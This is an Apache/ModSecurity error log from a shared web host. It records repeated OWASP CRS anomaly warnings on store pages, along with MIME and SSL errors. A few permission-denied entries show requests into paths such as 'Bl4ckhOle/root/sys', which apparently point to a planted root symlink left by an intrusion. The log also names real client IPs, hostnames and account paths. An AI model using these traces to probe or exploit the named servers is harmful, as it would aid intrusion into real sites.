[Fri Jul 17 09:27:33.419221 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLbEWOaI5pmYo9fnUsAAAAAA"]
[Fri Jul 17 09:27:33.671025 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLbEWOaI5pmYo9fnUsAAAAAA"]
[Fri Jul 17 09:27:34.057905 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:34.118714 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:35.501731 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLxHlOGcokz2QIwTZIwAAAAM"]
[Fri Jul 17 09:27:35.501843 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLxHlOGcokz2QIwTZIwAAAAM"]
[Fri Jul 17 09:27:35.502367 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLxHlOGcokz2QIwTZIwAAAAM"]
[Fri Jul 17 09:27:35.679553 2026] [security2:error] [pid 2030774:tid 2030774] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoLxHlOGcokz2QIwTZIwAAAAM"]
[Fri Jul 17 09:27:36.977657 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMARRrtuZqNDDSqW1ugAAABo"]
[Fri Jul 17 09:27:36.977820 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMARRrtuZqNDDSqW1ugAAABo"]
[Fri Jul 17 09:27:36.978601 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMARRrtuZqNDDSqW1ugAAABo"]
[Fri Jul 17 09:27:37.075838 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:37.178811 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMARRrtuZqNDDSqW1ugAAABo"]
[Fri Jul 17 09:27:38.454659 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMoe39YUk0SgV8AU_-QAAABE"]
[Fri Jul 17 09:27:38.454793 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMoe39YUk0SgV8AU_-QAAABE"]
[Fri Jul 17 09:27:38.455369 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMoe39YUk0SgV8AU_-QAAABE"]
[Fri Jul 17 09:27:38.481156 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:60112] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:38.553812 2026] [security2:error] [pid 2030804:tid 2030804] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMoe39YUk0SgV8AU_-QAAABE"]
[Fri Jul 17 09:27:39.108226 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:60178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:39.279750 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMwRRrtuZqNDDSqW1vAAAABo"]
[Fri Jul 17 09:27:39.279869 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMwRRrtuZqNDDSqW1vAAAABo"]
[Fri Jul 17 09:27:39.280813 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMwRRrtuZqNDDSqW1vAAAABo"]
[Fri Jul 17 09:27:39.400078 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:39.471335 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoMwRRrtuZqNDDSqW1vAAAABo"]
[Fri Jul 17 09:27:39.735488 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:40.620214 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:60280] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:40.664419 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNARRrtuZqNDDSqW1vQAAABo"]
[Fri Jul 17 09:27:41.081900 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNARRrtuZqNDDSqW1vQAAABo"]
[Fri Jul 17 09:27:41.082565 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNARRrtuZqNDDSqW1vQAAABo"]
[Fri Jul 17 09:27:40.745765 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:41.718905 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:41.738702 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:42.125944 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNARRrtuZqNDDSqW1vQAAABo"]
[Fri Jul 17 09:27:42.796736 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNo1dLClkUfK_dfHqkwAAAAI"]
[Fri Jul 17 09:27:42.796853 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNo1dLClkUfK_dfHqkwAAAAI"]
[Fri Jul 17 09:27:42.797870 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNo1dLClkUfK_dfHqkwAAAAI"]
[Fri Jul 17 09:27:42.920018 2026] [security2:error] [pid 1993619:tid 1993619] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoNo1dLClkUfK_dfHqkwAAAAI"]
[Fri Jul 17 09:27:44.156134 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 47.82.15.63:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:0a/physical_node/driver/new_id
[Fri Jul 17 09:27:44.191383 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/oc3/"] [unique_id "almoOLEKozcCJ-ReuK0ItwAAAAg"]
[Fri Jul 17 09:27:44.191450 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 47.82.13.153:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:01/physical_node/rescan
[Fri Jul 17 09:27:44.191478 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/oc3/"] [unique_id "almoOLEKozcCJ-ReuK0ItwAAAAg"]
[Fri Jul 17 09:27:44.191794 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/oc3/"] [unique_id "almoOLEKozcCJ-ReuK0ItwAAAAg"]
[Fri Jul 17 09:27:44.347627 2026] [security2:error] [pid 2036488:tid 2036488] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoOLEKozcCJ-ReuK0ItwAAAAg"]
[Fri Jul 17 09:27:46.101213 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/vmd/module/uevent
[Fri Jul 17 09:27:46.542948 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:47.806654 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty10/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 09:27:48.276832 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:48.435029 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:48.755084 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:49.068605 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:49.077288 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:49.878748 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:50.133244 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:50.183871 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/serial/remove_id
[Fri Jul 17 09:27:50.493730 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:50.560512 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:36810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:50.696335 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:50.741121 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:50.789921 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:50.880960 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:51.175261 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/nipah-virus-infection-who-event-update"] [unique_id "almoP-jME1mgqYZ5O94rzgAAAAE"]
[Fri Jul 17 09:27:51.175640 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/nipah-virus-infection-who-event-update"] [unique_id "almoP-jME1mgqYZ5O94rzgAAAAE"]
[Fri Jul 17 09:27:51.175923 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/nipah-virus-infection-who-event-update"] [unique_id "almoP-jME1mgqYZ5O94rzgAAAAE"]
[Fri Jul 17 09:27:51.224190 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:51.308724 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
